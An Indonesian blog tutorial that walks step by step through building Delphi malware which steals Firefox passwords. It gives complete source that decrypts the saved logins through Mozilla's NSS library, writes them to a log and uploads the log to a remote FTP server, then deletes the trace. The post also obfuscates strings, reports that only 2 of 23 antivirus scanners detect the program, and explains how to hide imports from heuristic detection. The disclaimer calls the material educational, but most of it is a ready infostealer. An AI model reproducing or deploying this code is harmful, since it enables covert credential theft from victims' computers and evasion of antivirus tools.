ASSALAMUALAIKUM WAROHMATULOHI WA BAROKATUH

AHLAN WA SAHLAN

Cari Blog Ini

Memuat...

Sabtu, 13 Februari 2010

  1. Intruduction
    Kemajuan internet diindonesia mungkin saat ini sangat terasa, yang dimana indonesia mulai dipercaya oleh pihak luar buktinya baru-baru ini paypal telah membolehkan penggunaan account bank dari indonesia. Nah seiring makin berkembangnya internet ini juga maka security terhadapnyapun akan semakin rentan, yang dimana kita akan dihadapkan keberbagai masalah nyata tentang virus ( bukan virus dari indonesia lagi melainkan virus luar). Adapun virus dari luar ini sangat berkembang dan memiliki banyak fungsi dan tentu saja fungsi utamanya adalah mencuri data dari komputer kita atau menggunakan komputer kita sebagai pesuruh ( yang sering kita sebut dengan zombie). Untuk itulah saya mencoba membahas bagaimana cara membuat virus itu serta bagaimana menangkalnya (virus mencuri password).

    Sebelum saya memulai tutorial ini perlu diperhatikan :
    • Tutorial ini dibuat hanya untuk pembelajaran sehingga kita bisa mencegah komputer kita terjangkit oleh virus.
    • Tutorial ini menjelaskan rentannya keamanan data yang tersimpan dikomputer sehingga kita bisa mencegah data kita dicuri.
    • Tutorial ini menjelaskan bagaimana firefox menyimpan password kita, sehingga kita bisa mengamankannya.
    • Tutorial ini menjelaskan bagaimana sebuah virus bisa tidak terdeteksi oleh antivirus.
    • Saya tidak bertanggung jawab atas semua dampak yang terjadi dari tulisan ini. Untuk itu saya sangat mengharapkan nantinya virus ini hanya dijalankan dikomputer anda sendiri ( lihat tujuan nomor 1,2,3,4).
  2. HOW FIREFOX SAVE PASSWORD

    Disini saya akan sedikit menjelaskan bagaimana firefox menyimpan password kita.



    Seperti yang anda lihat digambar 1 saya mempunyai firefox dengan versi 3.5.2 nah sekarang mari kita mencoba login sebuah website. Dan saat selesai login maka akan muncul popup yang bertanya apakah anda akan save password,tidak save, dan tidak saat ini.



    Nah perhatikan gambar 2 jika anda klick remember maka apa yang terjadi ??? ya tentu saja password login anda akan disave ke firefox database. Adapun lokasi dari database firefox yaitu :

    Application data > Mozilla > Firefox > Profiles > Profiles path name > signons.sqlite

    Yang dimana Profiles path name anda bisa melihatnya di :

    Application data > Mozilla > Firefox > Profiles > profiles.ini

    Bukalah profiles.ini dengan notepad maka anda akan melihat semua profile firefox anda. Apabilah terdapat hanya 1 profile maka nilai Profiles path name terdapat pada [Profile0]>path dan apabila terdapat banyak profile maka carilah profile yang memiliki default yang bernilai 1.



    Contoh pada gambar 3 berarti lokasi path database firefox pada komputer saya :
    Application data > Mozilla > Firefox > Profiles > r06mx720.default > signons.sqlite. Nah sekarang kita mendapatkan alamat path dari database. Berhubung pada versi 3.5 firefox menyimpan password kedatabase sqlite, berarti untuk melihat datanya kita membutuhkan tools untuk membuka database sqlite. Toolsnya banyak bertebaran diinternet tapi dalam tutorial ini saya akan menggunakan SQLiteExpert.



    Pada gambar 4 terlihat pada database singons terdapat 2 tabel yaitu moz_disablehosts dan moz_logins. Berhubung kita berfocus pada password maka bukalah tabel moz_logins dan lihat datanya. Pada gambar juga terlihat hostname,encrypted username dan encrypted password. Nah ini membuktikan bahwa firefox sebenarnya mengamankan data kita dengan tidak mensave password berupa plaintext melainkan encrypted.

    Pada paragraph sebelumnya kita mengambil kesimpulan bahwa firefox menyimpan username dan password berupa encrypted password. Nah pertanyaannya bagaimana kita tau encryption apa yang digunakan ? dan tentu cara bagaimana mendecryptnya? Setelah melakukan sedikit reseach and baca-baca article akhirnya saya tau bahwa firefox menggunakan nss module. Apa itu nss module ? untuk penjelasan tentang nss ini anda bisa lihat di http://www.mozilla.org/projects/security/pki/nss/ adapun tentang mengenai fungsi yang berada pada module ini ada bisa melihatnya di http://www.mozilla.org/projects/secu...functions.html, sepertinya cara kerja tentang bagaimana firefox menyimpan password cukup sampai disini. Adapun untuk lebih mendalam anda bisa mencari article atau penjelasan lansung di website mozilla.
  3. Start Coding Virus
    Setelah mengetahui bagaimana firefox save password dan juga format database dari singons.sqlite kita lansung menuju ke tahap pembuatan virus ( coding ). Untuk itu saya mengharapkan anda tau dasar-dasar dari bahasa pemograman delphi. Pada tahap ini saya akan membaginya menjadi beberapa tahap yang dimana tahap-tahapnya adalah :
    • SQLITE FUNCTION
      Seperti yang kita ketahui bersama pada firefox versi 3.5 keatas password tersimpan dalam bentuk database sqlite, nah untuk itu kita diharuskan membuat simple sqlite wrapper. Adapun fungsi sqlite yang dibutuhkan untuk membuat sqlite wrapper ini adalah :

      1. Sqlite3_open
      2. Sqlite3_Prepare_v2
      3. Sqlite3_column_text
      4. Sqlite3_Step
      5. Sqlite3_ Close

      untuk penjelasan tentang fungsi diatas bisa liat di http://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers

      Kembali kecoding sqlite wrapper for get mozilla password maka fungsi2 sqlite dibutuhkan diload dynamically, penjelasan tentang load dynamically bisa baca di http://www.delphi-central.com/dynamicdll.aspx. Dan tahap2nya seperti ini

      menyediakan variable sesuai format dari function
      Code:
      var
      SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl;
      SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl;
      SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl;
      SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl;
      SQLite3_Close :function (db: TSQLiteDB): integer; cdecl;
      load function ke variable yang sudah disediakan dengan fungsi GetProcAddress

      Code:
      function LoadLibSqlite3(libraryName: String): Boolean;
      var
      DLLHandle: THandle;
      begin
        dllhandle:= LoadLibrary(PChar(libraryName));
        if DLLHandle <> 0 then
        begin
          Result := True;
          @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open'));
          if not Assigned(@SQLite3_Open) then Result := False;
          @SQLite3_Prepare_v2   := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2'));
          if not Assigned(@SQLite3_Prepare_v2) then Result := False;
          @SQLite3_ColumnText   := GetProcAddress(dllhandle,pchar('sqlite3_column_text'));
          if not Assigned(@SQLite3_ColumnText) then Result := False;
          @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step'));
          if not Assigned(@SQLite3_Step) then Result := False;
          @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close'));
          if not Assigned(@SQLite3_Close) then Result := False;
        end else
          result:= false;
      end;
      tambahan fungsi untuk mempermuda sqlite wrapper :
      Code:
      function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer;
      var
       Stmt: pointer;
       utf8statement: UTF8string;
       NextSQLStatement: PAnsiChar;
      begin
        utf8statement := UTF8String(sStatement);
        sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement), Length(utf8statement),Stmt,NextSQLStatement);
        result:= stmt;
      end;
      
      
      function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString;
      begin
       result:= SQLite3_ColumnText(lStatement,lcol);
      end;
      
      function sqlite_step(lStatement: pointer): Boolean;
      begin
        result := false;
        if Sqlite3_step(lStatement) = 100 then
        result := true;
      end;
    • Password Firefox
      Pada pembahasan sebelumnya saya telah menjelaskan bagaimana firefox menyimpan password kita. Nah sekarang kita akan membuat function untuk mengambil password yang disimpan firefox yang tentu saja berupa plaintext ( bukan encrypted lagi ). Adapun tahap – tahapny yaitu :
      1. Mengambil mozilla path dan version registry :
        Pada windows semua configuration mengenai windows dan program akan disimpan di registry, nah untuk itulah kita harus membaca letak default instalan mozilla beserta version dari mozilla di registry. Adapun letak dari registry:

        Version : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > CurrentVersion
        Path : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > Version > main > Install Directory


        Untuk mendapatkan nilai ini pada code kita harus membuat fungsi yang berguna mengambil nilai sesuai path yang dimasukkan adapun codenya sebagai berikut :

        Code:
        function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string;
        var
        hOpen: HKEY;
        sBuff: array[0..255] of char;
        dSize: integer;
        begin
          result := '';
          if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then
          begin
          dSize := SizeOf(sBuff);
          RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize);
          Result := sBuff
          end;
          RegCloseKey(hOpen);
        end;
        Dan procedura untuk mendapatkan version dan pathnya sebagai berikut :
        Code:
        procedure GetFFInfos;
        var soft,moz,fire: string;
        begin
        soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\';
        moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a';
        fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x';
        version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion');
        FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\';
        end;
      2. Main Function untuk mendapatkan firefox password
        Seperti yang kita ketahui sebelumnya bahwa firefox menggunakan fungsi yang terdapat pada nss module untuk mengenecrypt passwordnya, nah decrypt merupakan kebalikan dari encrypt jadi kita membutuhkan fungsi yang terdapat dalam nss module juga dalam hal ini nss3.dll.

        Fungsi – fungsi yang berasal dari nss3.dll yang kita butuhkan adalah sebagai berikut :

        - NSS_Init
        - NSSBase64_DecodeBuffer
        - PK11_GetInternalKeySlot
        - PK11_Authenticate
        - PK11SDR_Decrypt
        - NSS_Shutdown
        - PK11_FreeSlot

        kesemua fungsi diatas keterangannya anda bisa lihat lansung pada website mozilla : http://www.mozilla.org/projects/secu...functions.html

        Sekarang kita telah mengetahui fungsi yang digunakan serta letak path dari password itu untuk itu saya akan menjelaskan tahap – tahap dari fungsi ini :
        • Meload library function yang berada dalam nss3.dll , berhubung library nss3.dll menggunakan library lainnya jadi kita harus meload terlebih dahulu library yang terkait yaitu : mozcrt19.dll, nspr4.dll, plc4.dll, plds4.dll, nssutil3.dll, softokn3.dll, sqlite3.dll.
        • Meload library function yang terdapat pada sqlite3.dll menggunakan fungsi LoadLibSqlite3 yang telah ktia buat.
        • Membuka profile.ini yang berada pada Application data > Mozilla > Firefox > Profiles > profiles.ini
        • Membaca profiles.ini dan menentukan default profilepathname.
        • Membuka database singons.sqlite yang berada pada path Application data > Mozilla > Firefox > Profiles > profilepathname > signons.sqlite.
        • Membuka table moz_logins dan mengambil nilai column 1,6,7.
        • Decrypt encrypted username dan password
        • Beralih ke baris berikutnya sampai tak ditemukan lagi baris pada tabel moz_logins.
        Adapun implementasi code dari tahap2 diatas sebagai berikut :

        Code:
        function mozillapassword:string;
        type
        TSECItem = packed record
        SECItemType: dword;
        SECItemData: pchar;
        SECItemLen: dword;
        end;
        PSECItem = ^TSECItem;
        var
        NSSModule: THandle;
        hToken: THandle;
        NSS_Init: function(configdir: pchar): dword; cdecl;
        NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
        PK11_GetInternalKeySlot: function: pointer; cdecl;
        PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
        PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
        NSS_Shutdown: procedure; cdecl;
        PK11_FreeSlot: procedure(slot: pointer); cdecl;
        ProfilePath: array [0..MAX_PATH] of char;
        ProfilePathLen: dword;
        FirefoxProfilePath: pchar;
        MainProfile: array [0..MAX_PATH] of char;
        MainProfilePath: pchar;
        EncryptedSECItem: TSECItem;
        DecryptedSECItem: TSECItem;
        database: pointer;
        lStatement : pointer;
        KeySlot: pointer;
        username,password:string;
        begin
        LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll'));
        LoadLibSqlite3(FirefoxPath + 'sqlite3.dll');
        LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll'));
        LoadLibrary(pchar(FirefoxPath + 'softokn3.dll'));
        NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
        @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init'));
        @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer'));
        @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot'));
        @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate'));
        @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt'));
        @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown'));
        @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot'));
        OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
        ProfilePathLen := MAX_PATH;
        ZeroMemory(@ProfilePath, MAX_PATH);
        GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen);
        FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini');
        GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
        MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite');
        SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database);
        lStatement:= sqlite_prepare_v2(database,'select *  from moz_logins');
        if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then
        begin
        KeySlot := PK11_GetInternalKeySlot;
        if KeySlot <> nil then
        begin
        if PK11_Authenticate(KeySlot, True, nil) = 0 then
        begin
        while sqlite_step(lStatement) do
        begin
        result := result + #13#10;
        result := result + 'URL      : ' +sqlite_column_text(lstatement,1) + #13#10;
        username:= sqlite_column_text(lstatement,6);
        Password := sqlite_column_text(lstatement,7);
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10;
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10;
        Result := result +  #13#10;
        end;
        end else
        result:= result+  'PK11_Authenticate Failed!';
        PK11_FreeSlot(KeySlot);
        end else
        result:= result+  'PK11_GetInternalKeySlot Failed!';
        NSS_Shutdown;
        end else
        result:= result+  'NSS_Init Failed!';
        SQLite3_Close(database);
        end;
      3. Function Tambahan
        Sekarang kita membuat function tambahan yaitu function untuk mengirimkan log password yang telah didapatkan ke ftp server beserta function untuk mendapatkan computername.

        Code:
        function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean;
        var
        hopen, hconnect: pointer;
        begin
          result := false;
          hopen := internetopen('update', 1, nil, nil,$10000000);
          if hopen <> nil then
          begin
            hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0);
            if hconnect <> nil then
            begin
              ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0);
              result := true;
            end;
            internetclosehandle(hConnect);
          end;
          internetclosehandle(hopen);
        end;
        
        function PC():String;
        var
        CompName: Array [0 .. 256] of char;
        size: DWORD;
        begin
          size := 256;
          GetComputerName(Compname, size);
          Result := CompName;
        end;
      4. Main Program
        Main program adalah program utama yang nantinya akan memanggil function yang telah kita buat. Pada main program ini juga akhir dari pembahasan, adapun sedikit penjelasan buat main program yaitu :
        • Menyediakan variable localpath yang dimana adalah alamat dari logkita nantinya.
        • Menyediakan Serverpath yang diamana adalah nama logkita nantinya diftpserver.
        • Mengambil firefox password dengan fungsi yang telah kita buat dan menuliskannya ke logfile.
        • Mengirimkannya ke ftpserver.
        • Terakhir menghapus log yang telah dikirim.

        Adapun codenya sebagai berikut :
        Code:
        localpath := 'c:\firefox.txt';
        serverpath := PC+'.txt';
        assign(pass, localpath);
        rewrite(pass);
        writeln(pass, '=====================================');
        writeln(pass, '========== SIMPLE VIRUS    ==========');
        writeln(pass, '=====================================');
        getffinfos;
        writeln(pass, mozillapassword);
        writeln(pass, '=====================================');
        writeln(pass, '========      BY MEONG         ======');
        writeln(pass, '=====================================');
        close(pass);
        sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath);
        deletefile(pchar(localpath));
        Adapun code kita keseluruhannya adalah sebagai berikut :
        Code:
        program Virus;
        
        uses
          windows,wininet;
        
        type
          TSQLiteDB = Pointer;
          TSQLiteResult = ^PAnsiChar;
          TSQLiteStmt = Pointer;
        
        var
        pass: textfile;
        localpath,serverpath,FireFoxPath,version:string;
        SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl;
        SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl;
        SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl;
        SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl;
        SQLite3_Close :function (db: TSQLiteDB): integer; cdecl;
        
        
        const
        FTPHOST = ''; // FTP HOST INFO
        FTPUSERNAME = ''; // FTP USERNAME INFO
        FTPPassword = ''; // FTP Password INFO
        
        function LoadLibSqlite3(libraryName: String): Boolean;
        var
        DLLHandle: THandle;
        begin
          dllhandle:= LoadLibrary(PChar(libraryName));
          if DLLHandle <> 0 then
          begin
            Result := True;
            @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open'));
            if not Assigned(@SQLite3_Open) then Result := False;
            @SQLite3_Prepare_v2   := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2'));
            if not Assigned(@SQLite3_Prepare_v2) then Result := False;
            @SQLite3_ColumnText   := GetProcAddress(dllhandle,pchar('sqlite3_column_text'));
            if not Assigned(@SQLite3_ColumnText) then Result := False;
            @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step'));
            if not Assigned(@SQLite3_Step) then Result := False;
            @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close'));
            if not Assigned(@SQLite3_Close) then Result := False;
          end else
            result:= false;
        end;
        
        function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer;
        var
         Stmt: pointer;
         utf8statement: UTF8string;
         NextSQLStatement: PAnsiChar;
        begin
          utf8statement := UTF8String(sStatement);
          sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement),Length(utf8statement),Stmt,NextSQLStatement);
          result:= stmt;
        end;
        
        function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString;
        begin
         result:= SQLite3_ColumnText(lStatement,lcol);
        end;
        
        function sqlite_step(lStatement: pointer): Boolean;
        begin
          result := false;
          if Sqlite3_step(lStatement) = 100 then
          result := true;
        end;
        
        function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string;
        var
        hOpen: HKEY;
        sBuff: array[0..255] of char;
        dSize: integer;
        begin
          result := '';
          if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then
          begin
          dSize := SizeOf(sBuff);
          RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize);
          Result := sBuff
          end;
          RegCloseKey(hOpen);
        end;
        
        procedure GetFFInfos;
        var soft,moz,fire: string;
        begin
        soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\';
        moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a';
        fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x';
        version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion');
        FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\';
        end;
        
        function mozillapassword:string;
        type
        TSECItem = packed record
        SECItemType: dword;
        SECItemData: pchar;
        SECItemLen: dword;
        end;
        PSECItem = ^TSECItem;
        var
        NSSModule: THandle;
        hToken: THandle;
        NSS_Init: function(configdir: pchar): dword; cdecl;
        NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
        PK11_GetInternalKeySlot: function: pointer; cdecl;
        PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
        PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
        NSS_Shutdown: procedure; cdecl;
        PK11_FreeSlot: procedure(slot: pointer); cdecl;
        ProfilePath: array [0..MAX_PATH] of char;
        ProfilePathLen: dword;
        FirefoxProfilePath: pchar;
        MainProfile: array [0..MAX_PATH] of char;
        MainProfilePath: pchar;
        EncryptedSECItem: TSECItem;
        DecryptedSECItem: TSECItem;
        database: pointer;
        lStatement : pointer;
        KeySlot: pointer;
        username,password:string;
        begin
        LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll'));
        LoadLibSqlite3(FirefoxPath + 'sqlite3.dll');
        LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll'));
        LoadLibrary(pchar(FirefoxPath + 'softokn3.dll'));
        NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
        @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init'));
        @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer'));
        @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot'));
        @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate'));
        @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt'));
        @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown'));
        @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot'));
        OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
        ProfilePathLen := MAX_PATH;
        ZeroMemory(@ProfilePath, MAX_PATH);
        GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen);
        FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini');
        GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
        MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite');
        SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database);
        lStatement:= sqlite_prepare_v2(database,'select *  from moz_logins');
        if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then
        begin
        KeySlot := PK11_GetInternalKeySlot;
        if KeySlot <> nil then
        begin
        if PK11_Authenticate(KeySlot, True, nil) = 0 then
        begin
        while sqlite_step(lStatement) do
        begin
        result := result + #13#10;
        result := result + 'URL      : ' +sqlite_column_text(lstatement,1) + #13#10;
        username:= sqlite_column_text(lstatement,6);
        Password := sqlite_column_text(lstatement,7);
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10;
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10;
        Result := result +  #13#10;
        end;
        end else
        result:= result+  'PK11_Authenticate Failed!';
        PK11_FreeSlot(KeySlot);
        end else
        result:= result+  'PK11_GetInternalKeySlot Failed!';
        NSS_Shutdown;
        end else
        result:= result+  'NSS_Init Failed!';
        SQLite3_Close(database);
        end;
        
        function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean;
        var
        hopen, hconnect: pointer;
        begin
          result := false;
          hopen := internetopen('update', 1, nil, nil,$10000000);
          if hopen <> nil then
          begin
            hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0);
            if hconnect <> nil then
            begin
              ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0);
              result := true;
            end;
            internetclosehandle(hConnect);
          end;
          internetclosehandle(hopen);
        end;
        
        function PC():String;
        var
        CompName: Array [0 .. 256] of char;
        size: DWORD;
        begin
          size := 256;
          GetComputerName(Compname, size);
          Result := CompName;
        end;
        
        
        begin
          localpath := 'c:\firefox.txt';
          serverpath := PC+'.txt';
          assign(pass, localpath);
          rewrite(pass);
          writeln(pass, '=====================================');
          writeln(pass, '========== SIMPLE VIRUS    ==========');
          writeln(pass, '=====================================');
          getffinfos;
          writeln(pass, mozillapassword);
          writeln(pass, '=====================================');
          writeln(pass, '========      BY MEONG         ======');
          writeln(pass, '=====================================');
          close(pass);
          sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath);
          deletefile(pchar(localpath));
        end.
        Setelah mencompile keseluruhan code diatas saya melakukan scan terhadap 23 antivirus dengan menggunakan jasa novirusthanks.org. adapun result yang saya dapatkan :

        File Info

        Report generated: 11.11.2009 at 3.17.01 (GMT 1)
        Filename: Virus.exe
        File size: 24576
        MD5 Hash: 0b58f7c286f4b40e4e1904daddbcab03
        SHA1 Hash: B70D02B2FC0613770E50C64AFA02D27607BF9FA2
        Self-Extract Archive: Nothing found
        Binder Detector: Nothing found
        Detection rate: 2 on 23

        Detections

        a-squared - -
        Avira AntiVir - TR/ATRAPS.Gen
        Avast - -
        AVG - -
        BitDefender - -
        ClamAV - -
        Comodo - -
        Dr.Web - -
        Ewido - -
        F-PROT6 - -
        Ikarus T3 - -
        Kaspersky - -
        McAfee - -
        NOD32 v3 - -
        Norman - -
        Panda - -
        QuickHeal - -
        Solo Antivirus - -
        Sophos - Mal/Behav-053
        TrendMicro - -
        VBA32 - -
        VirusBuster - -
        ZonerAntivirus - -

        Scan report generated by
        NoVirusThanks.org


        Terlihat diantara 23 antivirus yang disediakan oleh novirusthanks.org hanya avira dan sophos yang berhasil mendetecnya sebagai virus. Tapi inipun mudah sekali di baypas, untuk tips nya anda bisa melihat pada bab 4. Demikianlah bab start coding, apabila ada code yang tidak dimengerti anda bisa menanyakan lansung kepada saya ( lihat article paling bawah for my information ).
  4. Make Virus Undetect
    Dari bab sebelumnya telah melakukan scan terhadap virus dan kita mendapatkan hasil 2/23 dari novirusthanks. Nah pada bab ini saya tidak akan membuat virus ini menjadi undetect karena takutnya banyak orang nantinya akan menggunakannya dengan tidak- tidak. Tapi untuk membayar janji, saya akan menjelaskan sedikit tentang itu.

    Pertama kita buat simple program yang dimana kodenya :
    Code:
    program Project1;
    uses
      windows;
    begin
    end.
    Compilelah code diatas dan gunakan software pe exploler untuk melihat iat ( import adress table ).



    Pada gambar 5 diatas kita bisa melihat semua library yang diload dan juga function-function apa yang diload pada library itu. Sekarang kita coba menambahkan function pada code kita dan lihat apa yang terjadi pada iat. Adapun saya akan menambahkan function untuk mendapatkan komputername yang dimana menggunakan function getcomputername. Code kita sekarang seperti ini :

    Code:
    program Project1;
    uses
      windows;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      GetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      messagebox(0,pchar(pc),pchar('meong'),mb_ok);
    end.
    Compile lagi code diatas dan liat lagi iatnya.



    Nah pada gambar 6 kita melihat sedikit perubahan pada library yang diimport yaitu terdapat tambahan user32.dll yang dimana saat kita melihat user32.dll akan beriisi nilai messageboxA. Dan juga pada library kernel32.dll yang terakhir akan terdapat tambahan function yaitu GetcomputernameA.

    Demikianlah gambaran saat kita menggunakan function windows. Kesimpulan dari test ini adalah tiap fungsi windows yang kita gunakan maka alamat fungsi yang dipanggil akan disimpan diiat. Nah sesuai kesimpulan kita inilah maka bisa disimpulan juga kalau antivirus bisa saja melihat iat ini untuk mengetahui fungsi2 apa yang dipanggil dan menyimpulkannya sebagai virus atau tidak (heuristic). Pertanyan muncul, bagaimana agar fungsi yang dipanggil tidak perlu ditambahkan ke iat ? untuk itu anda bisa kembali ke penjelasan tentang load function dynamically.

    pembuktian code :
    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := GetProcAddress(loadlibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := GetProcAddress(loadlibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


